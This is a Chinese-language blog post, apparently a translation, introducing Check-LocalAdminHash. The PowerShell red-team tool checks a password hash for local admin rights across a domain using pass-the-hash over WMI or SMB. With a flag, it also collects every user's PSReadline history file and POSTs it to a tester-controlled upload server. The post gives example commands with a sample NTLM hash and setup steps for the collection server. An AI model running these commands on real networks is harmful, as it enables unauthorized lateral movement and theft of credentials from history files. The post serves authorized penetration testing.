首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PowerShell哈希验证与历史记录渗透技术解析

PowerShell哈希验证与历史记录渗透技术解析

原创
作者头像
qife122
发布2025-09-01 08:21:57
发布2025-09-01 08:21:57
730
举报

Check-LocalAdminHash & 渗透所有PowerShell历史记录

作者:Beau Bullock

TL;DR

Check-LocalAdminHash是一款新型PowerShell脚本,可针对多台主机验证密码哈希是否为有效的管理员凭证,并能够从该凭证具有管理员权限的所有系统中提取每个配置文件下的所有PowerShell PSReadline控制台历史记录文件。

获取地址:https://github.com/dafthack/Check-LocalAdminHash

历史记录收集需求

在最近的一次评估中,我需要收集网络中所有系统的PowerShell控制台历史记录文件(PSReadline)。PSReadline控制台历史记录本质上是PowerShell版本的bash历史记录。自PowerShell 5版本起,所有在PowerShell终端中输入的内容都会被记录到磁盘文件中,可能包含密码等敏感信息。

技术挑战与环境限制

该环境中存在广泛使用的本地管理员哈希凭证(无明文密码),同时部署了多种安全工具:多个EDR和行为分析产品、应用程序白名单、多因素认证保护的RDP,且目标主机的SMB协议不可访问。唯一可用的协议是Windows管理规范(WMI)。

技术方案实现

通过组合多种现有工具实现功能:

  1. 使用PowerView模块获取域中所有计算机列表
  2. 利用Kevin Robertson的Invoke-TheHash工具进行哈希传递认证
  3. 通过Invoke-WMIExec连接每个主机并执行编码的PowerShell命令
  4. 发现系统所有配置文件中的PSReadline文件后,通过POST请求发送到可控Web服务器

Check-LocalAdminHash功能特性

该脚本可作为独立工具验证密码哈希在网络中的管理员权限分布,支持:

  • WMI和SMB协议认证
  • CIDR格式、列表格式或单机目标指定
  • 域主机自动枚举功能

示例命令

通过WMI验证本地管理员哈希

代码语言:powershell
复制
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

渗透所有PSReadline历史记录文件

代码语言:powershell
复制
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

PSReadline渗透服务器搭建

安全警告:需设置面向互联网的文件上传服务器,建议采取严格防火墙限制和HTTPS加密传输。

搭建步骤:

  1. 部署可HTTP/HTTPS访问的Web服务器
  2. 将index.php脚本放置到Web根目录(/var/www/html)
  3. 创建上传目录并设置权限:mkdir /var/www/html/uploads chmod 0777 /var/www/html/uploads
  4. 安装PHP并重启Apache:apt-get install php service apache2 restart
  5. 在Check-LocalAdminHash.ps1脚本中修改$Url变量指向服务器index.php页面

技术实现原理

该工具整合了PowerView的域枚举功能和Invoke-TheHash的哈希传递认证技术,95%代码基于这两个工具开发。支持多线程操作,可通过修改文件发现模块实现其他功能扩展。

致谢

  • Kevin Robertson的Invoke-TheHash工具
  • Will Schroeder和Matt Graeber等人的PowerView工具
  • Steve Borosh提供的多线程技术支持

相关项目

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Check-LocalAdminHash & 渗透所有PowerShell历史记录
    • TL;DR
    • 历史记录收集需求
    • 技术挑战与环境限制
    • 技术方案实现
    • Check-LocalAdminHash功能特性
      • 示例命令
    • PSReadline渗透服务器搭建
      • 搭建步骤:
    • 技术实现原理
    • 致谢
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档